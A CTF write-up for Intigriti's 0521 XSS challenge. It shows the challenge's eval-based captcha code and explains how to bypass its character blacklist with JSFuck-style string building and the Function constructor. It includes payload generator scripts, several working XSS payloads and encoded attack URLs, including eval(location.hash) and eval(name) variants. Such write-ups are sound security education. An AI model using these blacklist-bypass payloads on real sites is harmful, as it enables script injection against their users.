aszx87410 / ctf-writeups

ctf writeups

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Writeup: Intigriti's 0521 XSS challenge - by @GrumpinouT

aszx87410 opened this issue · comments

commented

challenge link: https://challenge-0521.intigriti.io/

There is a frame with src ./captcha.php and that's all, so we need to look into this php file:

<body>
    <form id="captcha">
        <div id="input-fields">
          <span id="a"></span>
          <span id="b">+</span>
          <input id="c" type="text" size="4" value="" required/>
          =
          <span id="d"></span>
          <progress id="e" value="0" max="100" style="display:none"></progress>
        </div>
          <input type="submit" id="f"/>
          <input type="button" onclick="setNewNumber()" value="Retry" id="g"/>
    </form>
</body>
<script>
    const a = document.querySelector("#a");
    const c = document.querySelector("#c");
    const b = document.querySelector("#b");
    const d = document.querySelector("#d");

    window.onload = function(){
      setNewNumber();
      document.getElementById("captcha").onsubmit = function(e){
          e.preventDefault();
          loadCalc(0);
      };
    }

    function loadCalc(pVal){
      document.getElementsByTagName("progress")[0].style.display = "block";
      document.getElementsByTagName("progress")[0].value = pVal;
      if(pVal == 100){
        calc();
      }
      else{
        window.setTimeout(function(){loadCalc(pVal + 1)}, 10);
      }
    }

    function setNewNumber() {
            document.getElementsByTagName("progress")[0].style.display = "none";
        var dValue = Math.round(Math.random()*1000);
        d.innerText = dValue;
        a.innerText = Math.round(Math.random()* dValue);
    }

    function calc() {
        const operation = a.innerText + b.innerText + c.value;
        if (!operation.match(/[a-df-z<>()!\\='"]/gi)) { // Allow letter 'e' because: https://en.wikipedia.org/wiki/E_(mathematical_constant)
            if (d.innerText == eval(operation)) {
              alert("🚫🤖 Congratulations, you're not a robot!");
            }
            else {
              alert("🤖 Sorry to break the news to you, but you are a robot!");
            }
            setNewNumber();
        }
        c.value = "";
    }

</script>

When the user clicks the submit button, the input value will be sent to eval function if there is no forbidden characters in the input value.

So we need to write a JavaScript program without a-df-z<>()!\='".

If you heard about JSFuck, yes, we can solve in a similar way.

Because we can't use alphabet directly, so we need to find a way to run the JavaScript dynamically, like eval, Function, setTimeout and setInterval.

Once we can use one of the above function, we can create our own function with whatever function body we want. Because function body is just a string, we can use their alternatives and put it together.

Like, `${0/0}`[1] as an alternative to a. This works because 0/0 produces NaN and backtick cast it to a string.

Let's find out which function we should use.

There is no way to access eval, setTimeout and setInterval if we can't access window. But Function is much easier to access because there are many ways to achieve it.

For example, []['constructor']['constructor']. Once we have function constructor, we can create our own function and execute it, like below:

[]['constructor']['constructor']`_${'alert(1)'}```

You can run this on your console and see the alert. We use backtick for function call, two times. The first time is to create a function while the second is to execute it.

Someone might notice that there is a _ before ${alert(1)}, it's because of how tagged templates works.

If we do []['constructor']['constructor']`${'alert(1)'}`, the console will give us an error: Uncaught SyntaxError: Unexpected token ','.

It's easier to see what's going on under the hood by creating a dummy function:

function print(...args){
  console.log(args)
}

print`${'alert(1)'}`  // [["", ""], "alert(1)"]
print`_${'alert(1)'}` // [["_", ""], "alert(1)"]

Without prefix _, it's like calling function constructor with first parameter ,, which is not a valid argument name.

But if we add _ (or any valid name for parameter), _, is a valid syntax for argument because , is just a trailing comma.

After find out the goal:

[]['constructor']['constructor']`_${'alert(document.domain)'}```

The last thing we need to do is to find a way to generate those characters.

jsfuck is a good resource if you don't know where to start.

Here is the string I used:

1. `${``+{}}` => "[object Object]"
2. `${``[0]}` => "undefined"
3. `${e}` => "[object HTMLProgressElement]"
4. `${0/0}` => "NaN"

We can find all the replacement for our payload from the string above except ( and ).

Where can we find these two characters? By casting a function to a string!

`${[]['constructor']}`
=> "function Array() { [native code] }"

By piece all the alternatives we found together plus a little bit of programming, we can generate the valid payload:

const mapping = {
  a: '`${0/0}`[1]',
  c: '`${``+{}}`[5]',
  d: '`${``[0]}`[2]',
  e: '`e`',
  i: '`${``[0]}`[5]',
  l: '`${e}`[21]',
  m: '`${e}`[23]',
  n: '`${``[0]}`[1]',
  o: '`${``+{}}`[1]',
  r: '`${e}`[13]',
  s: '`${e}`[18]',
  t: '`${``+{}}`[6]',
  u: '`${``[0]}`[0]',
  ".": '`.`'
}

function getString(str) {
  return str.split('').map(c => mapping[c] || 'error:' + c).join('+')
}

const cons = getString('constructor')
mapping['('] = '`${[][' + cons + ']}`[14]'
mapping[')'] = '`${[][' + cons + ']}`[15]'

const ans = 
  "[][" + 
  getString('constructor') + 
  "]["+
  getString('constructor') +
  "]`_${" + 
  getString('alert(document.domain)') +
  "}```"

console.log(ans)

output(length 851):

[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]`_${`${0/0}`[1]+`${e}`[21]+`e`+`${e}`[13]+`${``+{}}`[6]+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[14]+`${``[0]}`[2]+`${``+{}}`[1]+`${``+{}}`[5]+`${``[0]}`[0]+`${e}`[23]+`e`+`${``[0]}`[1]+`${``+{}}`[6]+`.`+`${``[0]}`[2]+`${``+{}}`[1]+`${e}`[23]+`${0/0}`[1]+`${``[0]}`[5]+`${``[0]}`[1]+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[15]}```

Copy and paste this paragraph and click submit, boom! XSS triggered!

After the success I submitted my answer and got a reply said it's self-XSS(yes it is, but I didn't notice that 😂 ), it also said that I can experiment more with php.

It's not hard to find that query string c will be reflected on the page, so just add ?c= and paste the payload(remember to url encode) to change it from self-XSS to one-click XSS and solve the challenge.

url:

https://challenge-0521.intigriti.io/captcha.php?c=[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]`_${`${0/0}`[1]%2b`${e}`[21]%2b`e`%2b`${e}`[13]%2b`${``%2b{}}`[6]%2b`${[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[14]%2b`${``[0]}`[2]%2b`${``%2b{}}`[1]%2b`${``%2b{}}`[5]%2b`${``[0]}`[0]%2b`${e}`[23]%2b`e`%2b`${``[0]}`[1]%2b`${``%2b{}}`[6]%2b`.`%2b`${``[0]}`[2]%2b`${``%2b{}}`[1]%2b`${e}`[23]%2b`${0/0}`[1]%2b`${``[0]}`[5]%2b`${``[0]}`[1]%2b`${[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[15]}```

The story ends? No.

Go further

Pop an alert is not enough, I want to run any JavaScript on the page!

I just changed the payload to this:

[]['constructor']['constructor']`_${'eval(location.hash.slice(1))'}```

So we can run any JS code after hash tag on the URL.

In order to do this, we need to find the replacement for v and h.

It's a little bit difficult because we can't find it in the common string we used: undefined, NaN and [Object object].

For v we can get it from any native function, like above, nati"v"e code. But later I found that Firefox and Chrome output differently.

Chrome outputs: function RegExp() { [native code] } and Firefox outputs function RegExp() {\n [native code]\n}. Let's ignore it for now.

How about h? We can get it by using toString with radix 36: 17['toString']`36`, and get S from string constructor.

You may notice that at this point, we can actually generate any alphabet with num['toString']`36`. For v we can also use this.

So the final payload will be(length 1925):

[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]`_${`e`+31[`${``+{}}`[6]+`${``+{}}`[1]+`${``[`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[9]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[5]+`${``[0]}`[1]+`${e}`[15]]`36`+`${0/0}`[1]+`${e}`[21]+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[14]+`${e}`[21]+`${``+{}}`[1]+`${``+{}}`[5]+`${0/0}`[1]+`${``+{}}`[6]+`${``[0]}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`.`+17[`${``+{}}`[6]+`${``+{}}`[1]+`${``[`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[9]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[5]+`${``[0]}`[1]+`${e}`[15]]`36`+`${0/0}`[1]+`${e}`[18]+17[`${``+{}}`[6]+`${``+{}}`[1]+`${``[`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[9]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[5]+`${``[0]}`[1]+`${e}`[15]]`36`+`.`+`${e}`[18]+`${e}`[21]+`${``[0]}`[5]+`${``+{}}`[5]+`e`+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[14]+1+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[15]+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[15]}```

and the url is:

https://challenge-0521.intigriti.io/captcha.php?c=[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]`_${`e`%2b31[`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${``[`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[9]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[5]%2b`${``[0]}`[1]%2b`${e}`[15]]`36`%2b`${0/0}`[1]%2b`${e}`[21]%2b`${[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[14]%2b`${e}`[21]%2b`${``%2b{}}`[1]%2b`${``%2b{}}`[5]%2b`${0/0}`[1]%2b`${``%2b{}}`[6]%2b`${``[0]}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`.`%2b17[`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${``[`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[9]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[5]%2b`${``[0]}`[1]%2b`${e}`[15]]`36`%2b`${0/0}`[1]%2b`${e}`[18]%2b17[`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${``[`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[9]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[5]%2b`${``[0]}`[1]%2b`${e}`[15]]`36`%2b`.`%2b`${e}`[18]%2b`${e}`[21]%2b`${``[0]}`[5]%2b`${``%2b{}}`[5]%2b`e`%2b`${[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[14]%2b1%2b`${[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[15]%2b`${[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[15]}```#alert(document.domain)

It works perfectly on both Firefox and Chrome!

Reduce the payload size

The last thing I want to do is to reduce the payload size. So I made following changes:

  1. We can get undefined by e[0] instead of ``[0], save 1 character.
  2. For [object Object], ``+{} is redundant, use {} only also works. Save 3 characters.
  3. Get character from e as much as possible because it's shorter.

We can also find the array method with the shortest length:

let min = 99
let winner = ''
for (let prop of Object.getOwnPropertyNames(Array.prototype)) {
  const len = getString(prop).length
  if (len < min) {
    min = len
    winner = prop
  }
}
console.log(winner, min)

The winner is some, so we will use it to replace []['constructor'].

Also, we should use alert(document.domain) as our payload instead of eval(location.hash.slice(1)), save a lot of characters. Even eval(name) is longer than alert() because the cost to get v is too high.

Below is the shortest payload I find, length 466:

length: 466
======= Payload =======
[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`][`${e}`[5]+`${e}`[1]+`${e}`[25]+`${e}`[18]+`${e}`[6]+`${e}`[13]+`${e[0]}`[0]+`${e}`[5]+`${e}`[6]+`${e}`[1]+`${e}`[13]]`_${`${0/0}`[1]+`${e}`[21]+`e`+`${e}`[13]+`${e}`[6]+`${[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`]}`[13]+`${e[0]}`[2]+`${e}`[1]+`${e}`[5]+`${e[0]}`[0]+`${e}`[23]+`e`+`${e}`[25]+`${e}`[6]+`.`+`${e[0]}`[2]+`${e}`[1]+`${e}`[23]+`${0/0}`[1]+`${e[0]}`[5]+`${e}`[25]+`${[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`]}`[14]}```
======= URL =======
https://challenge-0521.intigriti.io/captcha.php?c=[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`][`${e}`[5]%2b`${e}`[1]%2b`${e}`[25]%2b`${e}`[18]%2b`${e}`[6]%2b`${e}`[13]%2b`${e[0]}`[0]%2b`${e}`[5]%2b`${e}`[6]%2b`${e}`[1]%2b`${e}`[13]]`_${`${0/0}`[1]%2b`${e}`[21]%2b`e`%2b`${e}`[13]%2b`${e}`[6]%2b`${[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`]}`[13]%2b`${e[0]}`[2]%2b`${e}`[1]%2b`${e}`[5]%2b`${e[0]}`[0]%2b`${e}`[23]%2b`e`%2b`${e}`[25]%2b`${e}`[6]%2b`.`%2b`${e[0]}`[2]%2b`${e}`[1]%2b`${e}`[23]%2b`${0/0}`[1]%2b`${e[0]}`[5]%2b`${e}`[25]%2b`${[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`]}`[14]}```

The code I used to generate the payload:

const mapping = {
  a: '`${0/0}`[1]',
  b: '`${e}`[2]',
  c: '`${e}`[5]',
  d: '`${e[0]}`[2]',
  e: '`e`',
  f: '`${e[0]}`[4]',
  g: '`${e}`[15]',
  i: '`${e[0]}`[5]',
  j: '`${e}`[3]',
  l: '`${e}`[21]',
  m: '`${e}`[23]',
  n: '`${e}`[25]',
  o: '`${e}`[1]',
  r: '`${e}`[13]',
  s: '`${e}`[18]',
  t: '`${e}`[6]',
  u: '`${e[0]}`[0]',
  ".": '`.`'
}

function getString(str) {
  return str.split('').map(c => mapping[c] || 'errorerror:' + c).join('+')
}

const some = getString('some')
mapping['('] = '`${[][' + some + ']}`[13]'
mapping[')'] = '`${[][' + some + ']}`[14]'

const cons = getString('constructor')
let strConstructor = '``['+ cons + ']'
strConstructor = '`${' + strConstructor + '}`'

const strToString = `${mapping.t}+${mapping.o}+${strConstructor}[9]+${mapping.t}+${mapping.r}+${mapping.i}+${mapping.n}+${mapping.g}`
mapping.v = '31[' + strToString + ']`36`'

const ans = 
  "[][" + 
  getString('some') + 
  "]["+
  getString('constructor') +
  "]`_${" + 
  getString('alert(document.domain)') +
  "}```"

console.log('length:', ans.length)
console.log('======= Payload =======')
console.log(ans)
console.log('======= URL =======')
console.log('https://challenge-0521.intigriti.io/captcha.php?c=' + ans.replace(/\+/g, '%2b'))

Reduce the size, again

Remember the "v" issue? The cost is too high to get v to construct the payload eval(name).

It's because Firefox and Chrome produce different result:

[]['some']+''

// Chrome
"function some() { [native code] }"
v: index 23

// Firefox
"function some() {
    [native code]
}"
v: index 27

We can ignore this issue for now and target Chrome only, the result is:

length: 376
======= Payload =======
[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`][`${e}`[5]+`${e}`[1]+`${e}`[25]+`${e}`[18]+`${e}`[6]+`${e}`[13]+`${e[0]}`[0]+`${e}`[5]+`${e}`[6]+`${e}`[1]+`${e}`[13]]`_${`e`+`${[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`]}`[23]+`${0/0}`[1]+`${e}`[21]+`${[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`]}`[13]+`${e}`[25]+`${0/0}`[1]+`${e}`[23]+`e`+`${[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`]}`[14]}```
======= URL =======
https://challenge-0521.intigriti.io/captcha.php?c=[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`][`${e}`[5]%2b`${e}`[1]%2b`${e}`[25]%2b`${e}`[18]%2b`${e}`[6]%2b`${e}`[13]%2b`${e[0]}`[0]%2b`${e}`[5]%2b`${e}`[6]%2b`${e}`[1]%2b`${e}`[13]]`_${`e`%2b`${[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`]}`[23]%2b`${0/0}`[1]%2b`${e}`[21]%2b`${[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`]}`[13]%2b`${e}`[25]%2b`${0/0}`[1]%2b`${e}`[23]%2b`e`%2b`${[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`]}`[14]}```

It's 376, reduce about 100 characters compare to the previous result 466.

The code I used to generate:

const mapping = {
  a: '`${0/0}`[1]',
  b: '`${e}`[2]',
  c: '`${e}`[5]',
  d: '`${e[0]}`[2]',
  e: '`e`',
  f: '`${e[0]}`[4]',
  g: '`${e}`[15]',
  i: '`${e[0]}`[5]',
  j: '`${e}`[3]',
  l: '`${e}`[21]',
  m: '`${e}`[23]',
  n: '`${e}`[25]',
  o: '`${e}`[1]',
  r: '`${e}`[13]',
  s: '`${e}`[18]',
  t: '`${e}`[6]',
  u: '`${e[0]}`[0]',
  ".": '`.`'
}

function getString(str) {
  return str.split('').map(c => mapping[c] || 'errorerror:' + c).join('+')
}

const some = getString('some')
mapping['('] = '`${[][' + some + ']}`[13]'
mapping[')'] = '`${[][' + some + ']}`[14]'

mapping.v = '`${[][' + getString('some') + ']}`[23]'

const ans = 
  "[][" + 
  getString('some') + 
  "]["+
  getString('constructor') +
  "]`_${" + 
  getString('eval(name)') +
  "}```"

console.log('length:', ans.length)
console.log('======= Payload =======')
console.log(ans)
console.log('======= URL =======')
console.log('https://challenge-0521.intigriti.io/captcha.php?c=' + ans.replace(/\+/g, '%2b'))